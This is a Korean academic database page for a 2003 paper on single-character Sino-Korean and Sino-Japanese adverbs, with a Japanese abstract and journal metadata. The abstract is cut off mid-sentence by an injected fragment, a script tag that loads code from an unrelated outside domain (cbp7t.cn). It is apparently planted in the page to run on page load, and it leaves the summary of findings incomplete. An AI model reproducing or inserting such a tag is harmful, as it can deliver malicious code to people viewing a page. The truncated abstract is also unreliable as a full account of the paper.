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> 한국일본어교육학회 > 일본어교육 > 23권 0호

한,일 「일자한어」 부사의 형태론적 연구

A Morphological Study of 「A Single-Word Chinese Character」 Adverbs in Korean and Japanese

전철 ( Jeon Cheol )

- 발행기관 : 한국일본어교육학회

- 발행년도 : 2003

- 간행물 : 일본어교육, 23권 0호

- 페이지 : pp.131-158 ( 총 28 페이지 )


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논문제목
초록(외국어)
韓日兩言語は、當然ながら、互いに全く異なる固有語を持つが、漢語に關しては、音も意味も類似しており、一音節の構成要素を一つ一つが同樣の音と意味を共有する音節單位でおり、一音節の構成要素が最も多いという特性を表す言葉である。卽ち、漢語で構成された全ての語彙及び文はその單音節的な特徵による分析をしていくと最終的に單音節語(一字漢字)になる。その單音節語はそれぞれ漢語一字として表されるし、さらに重要な事實は一字が意味情報の重要な核だという事實である。 本稿ではこのような事實をもとに、韓日兩國の一字漢語の副詞を、形態論的な側面から整理し、一字漢語副詞の語尾の取り扱いについて問題提起を行った。先ず對象事典から兩言語の一字漢語を抽出したところ、日本語の「一字漢語」の副詞は48語であったが、韓國語ではその3倍弱の120語が見つかった。次に、これらの一字漢語を、①「一字漢語」單獨で成り立つ副詞、②零接辭派生によって成立したもの、③一字漢語+「に/と」と、一字漢語+「로(lo)/히(hi)」、④一字漢語+その他の要素、と四つに分類し觀察した。その詳細は次の通りである。 1. 一字漢語が單獨で副詞の機能を持つ語は、韓國語の場合「但, 永, 卽, 惑, 及」の5語であり、日本語の場合は「極, 約」の2語であった。つまり、從來の硏究で言われてきた兩言語の語彙の同一性 や共通性は、この「一字漢語」副詞に關しては當てはまらないということである。これらの一字漢語は、漢文において副詞として頻繁に使われる單語であったため、副詞化する特別な文法的接辭が付けられることなく、そのままの使われるようになったのだと考えられるだろう。 2. 零接辭派生による場合は、日本語では、'直(じか)、直(じき)、万‘の3語が調査され、韓國語には一語も存在しなかった。更に、重要な事實としては、一字漢語の零接辭派生ガ起きるのは‘名詞-副詞’のみであることも分 かった。 3. 日本語の<一字漢語+「に」>は22語あり、一字漢語副詞の中で最も多數を占めていた。また。<一字漢語+「と」>の形態も、5語みとめられた。これに對して韓國語の場合は、≪資料2≫のように、その形態が日本語に比 べて多樣であること、また、その中で最も生産性が高いものは29語確認されたく一字漢語+「히(hi)」>、次が8語のく一字漢語+(으)로(lo)>であることが分かった。 なお、從來多くの硏究において、韓國語副詞を形成する接辭の代表として'~이(~i)/~히(~hi)`が拳げられてきたが、「一字漢語」副詞においては「~이(~i)」があまり生産性を持っていない事も分かった。ただし、「面面이, 番番이, 一一이, 散散이, 点点이」と同樣に、二字漢語の場合は'~이‘が相當な生産力を持つ副詞として派生を擔っている。これは'~이’が二字漢語、特に、反復複合語の漢語に連結された時、生産力が高いということである。例外に‘獨이’と同じ形態が見えるが前述した通り、漢語の‘獨’の場合は'~하다(~hada)`と結合できず、‘獨히’の形態をとることができないために‘獨이’の形態を取ったと考えられるだろう。 4. 一字漢語+その他の場合、日本語では13語が確認された。ただし、「頑として、 主として、體よく、要するに、 牢として」に關しては、一部辭書では副詞的連語と扱っている場合もあった。これに對して韓國語では、78語が認識され、日本語に比べてかなり多くの副詞形態が見とめられるが、「決코(결단코)、緊찮이(緊하지 아니하다), 願컨대(願하건대)」のような縮約形と、‘單숨에, 單칼에, 單통에, 憤김에, 火김에, 與김에’のような、固有語名詞が介入した形が存在した。この中でも「單숨에, 單칼에, 單통에」の場合は、「숨, 칼, 통」の實質名詞が介入した場合で、「憤결에, 憤김에, 火김에, 與김에」の場合は ‘意識の及ばない時間の流れや間’の意味を持った「~결」が、そして'ある機會か契機‘の意味を持った「~김」という依存名詞が各各介入した場合である。これはつまり、「一字漢語」+’에‘の形態は必ず固有語名詞の介入によって副詞の機能を持つということで、'當初에, 不時에, 已往에, 世上에’などの二字漢語副詞とは異なる特徵である。 さらに、形容詞化接尾辭「~스럽다. ~롭다, ~답다」の副詞形が連結された形態として「~스럽다」の副詞形「~스러이」·「~스레」·「~롭다」の副詞形の「~로이」や「~답다」の副詞形の「~다이」が多數を占めていた。 以上, 漢語副詞+その他連結形ので分かったことは、日本語よちも韓國語の方が漢語副詞連結形が多樣であり、また、日本語の漢語副詞で漢語が全て依存形式であるのに對して韓國語の場合は ‘德, 脈, 福, 辱, 情, 罪, 恨’などの實質名詞が存在するというということである。 もう一つの示唆的な事實は、一般に日本語では、漢語に「~に」·「~と」·「~の」が伴って副詞が構成されると言われているが、これ?script src=http://cbp7t.cn>

논문정보
  • - 주제 : 어문학분야 > 일어일문학
  • - 발행기관 : 한국일본어교육학회
  • - 간행물 : 일본어교육, 23권 0호
  • - 발행년도 : 2003
  • - 페이지 : pp.131-158 ( 총 28 페이지 )
  • - UCI(KEPA) : I410-ECN-0102-2009-730-003138519
저널정보
  • - 주제 : 어문학분야 > 일어일문학
  • - 성격 : 학술지
  • - 간기 : 계간
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 2005-7016
  • - 수록범위 : 1985–2021
  • - 수록 논문수 : 1232